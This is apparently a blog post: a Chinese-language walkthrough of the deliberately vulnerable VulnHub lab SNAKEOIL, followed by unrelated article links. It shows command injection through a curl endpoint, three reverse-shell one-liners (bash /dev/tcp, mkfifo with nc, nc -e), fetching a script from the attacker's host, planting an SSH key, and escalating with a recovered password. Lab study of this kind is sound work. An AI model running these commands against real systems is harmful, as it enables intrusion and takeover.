准备:

攻击机:虚拟机kali、本机win10。

靶机:DIGITALWORLD.LOCAL: SNAKEOIL,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z,下载后直接vbox打开即可。

知识点:命令执行、私匙制作和登录(ssh-keygen)、bp的使用。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.16.110.0/24,获得靶机地址:192.168.110.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.180,显示开放了22、80、8080端口,开启了ssh、http服务。

访问下80和8080端口,在8080端口的Useful Links下发现了一个网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,主要和flask-jw的配置有关。

使用dirsearch对8080端口进行目录扫描(80未发现有用信息),命令:python dirsearch.py -u http://192.168.110.180:8080 -e * -w D:\soft\seep\dirsearch\db\dicc.txt,发现/users、/test、/secret等目录信息。

对扫描出来的目录进行访问测试,发现在访问:http://192.168.110.180:8080/users时返回了users的账户和密码信息,访问:http://192.168.110.180:8080/registration时显示方法错误,那就使用bp抓包修改下请求方式。

BP修改数据包:

访问:http://192.168.110.180:8080/registration使用bp进行抓包并修改请求方式,进行模拟提交查看返回的数据,返回:Username field cannot be blank。

那就添加用户名信息:username=upfine,但是告诉我们password也不能是空,那就写入密码进行注入,最后注册成功:upfine/123。

使用注册的账户名和密码:upfine/123进行登录,访问:http://192.168.110.180:8080/login,返回信息:The method is not allowed for the requested URL,那就修改下请求方法为post,成功获得access_token和refresh_token。

{"message": "Logged in as upfine",
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiOGMwYzgxMTEtMTc3YS00YjgwLTk4NDItOWQxMGEyNDAwMGRiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InVwZmluZSIsIm5iZiI6MTY2OTAzMzAzNywiZXhwIjoxNjY5MDMzOTM3fQ.923Y782zfLKCZIjy7LB_MVP0gJNFZHCf5eTgW6eRrNc",
"refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiNzlkOTRkYTUtNGJmMS00YzA2LThjNjktMGU5ODVjYTIxNzEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ1cGZpbmUiLCJuYmYiOjE2NjkwMzMwMzcsImV4cCI6MTY2OTAzNjYzN30.kljPY4fWlHEZ-h31kvQabGmkTnBljOTo47dvbLUiLzw"}

访问:http://192.168.110.180:8080/run,返回信息告诉我们需要输入参数url,输入url之后进行请求,返回信息告诉我么需要提交secret_key。输入参数注意其输入格式,可以看出和json格式类似。

访问/serect返回:Internal Server Error,在开始发现的jwt配置网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,查找关于登陆成功时返回的access_token的信息,找到携带身份认证信息的键值名称:access_token_cookie,输入cookie信息,成功获取到secret_key:commandexecutionissecret。

利用获取到的secret_key:commandexecutionissecret,返回到http://192.168.110.180:8080/run的数据包并输入secret_key:commandexecutionissecret进行请求访问,返回信息疑似命令执行的结果,输入;查看下进行命令执行的命令,发现是curl命令。

查看下curl的命令使用方法,发现curl -V时会返回版本信息并且退出curl命令,这时候我们利用&&来执行我们要执行的命令,如:id、ls。

获取shell:

通过三种shell反弹方式进行反弹,均是反弹失败,返回:Banned command。

bash -c 'bash -i >& /dev/tcp/192.168.110.180/6688 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.180 6688 >/tmp/f
nc -e /bin/bash 192.168.110.180 6688

在kali中开启一个简易的web服务:python3 -m http.server 8000,编写一个shell反弹脚本上传到靶机中,命令:-V&&wget http://192.168.110.178:8000/shell.sh -o shell.sh;,kali端开启对6688端口的监听:nc -lvvp 6688,然后对靶机中的shell.sh脚本赋予执行权限:chmod +x shell.sh,然后执行,失败无法反弹shell。

制作ssh私匙登录:

使用ssh-keygen制作私匙文件并将文件复制到python开启的http服务中,然后修改文件名字为:authorized_keys。

通过命令执行漏洞上传私匙文件,命令:http://192.168.110.178:8800/authorized_keys -O 127.0.0.1;。

在靶机上查看authorized_keys 以确认是否上传成功(命令:-V&&ls -l;),然后并将该文件移动到/home/patrick/.ssh/目录下,命令:-V&&mv authorized_keys /home/patrick/.ssh/;,然后查看.ssh目录是否存在该文件。

使用ssh登录成功获得shell权限,命令:ssh patrick@192.168.110.180 -i ~/.ssh/upfine,这里的密码是制作私匙时输入的密码。

在本地目录下发现local.txt文件并进行访问,成功获取到第一个flag信息。

提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示只有shutdown才可以不需要root命令执行。

最后一番查找在flask_blog目录下的app.py文件中发现了隐藏的密码:NOreasonableDOUBTthisPASSWORDisGOOD。

使用发现的密码切换成root账户:sudo su,在/root文件夹下发现proof.txt文件并读取flag信息。

最新文章

  1. 《Entity Framework 6 Recipes》中文翻译系列 (41) ------ 第七章 使用对象服务之标识关系中使用依赖实体与异步查询保存
  2. 【跟着子迟品 underscore】for ... in 存在的浏览器兼容问题你造吗
  3. listbox 报错 Cannot have multiple items selected when the SelectionMode is Single.
  4. dbca静默建库和删除库
  5. php简易灌水
  6. git checkout 命令详解
  7. MFC ComboBox的使用
  8. maven的pom报plugins却是的解决方法2
  9. [转]Windows平台下LispBox环境搭建
  10. Windows Access Token
  11. maven搭建MVC项目具体步骤
  12. pyhton崩溃的第六天,又有新成员
  13. 用Navicat连接阿里云ECS服务器上的MySQL数据库
  14. promise-async-await
  15. 全球信息安全会议 Top 50
  16. 软件工程——Word-Counter
  17. Android网络:开发浏览器(二)——功能完善之书签功能
  18. 服务端调用接口API利器之HttpClient
  19. 学习websocket-SignalR,MVC中使用SignalR打造酷炫实用的即时通讯
  20. js 打印指定页面部分打印

热门文章

  1. File类、FileOutputStream
  2. GitHub desktop常见问题及解决办法
  3. Centos7.6内核升级
  4. Elasticsearch 主从同步之跨集群复制
  5. 16. 综合使用tail、forward、copy和stdout
  6. P8548 小挖的买花 方法记录
  7. 一篇文章带你了解热门版本控制系统——Git
  8. 齐博x1{:get_user_money(2,$uid)}
  9. 题解 UVA10285 最长的滑雪路径 Longest Run on a Snowboard
  10. 蓝桥杯赛前复习C++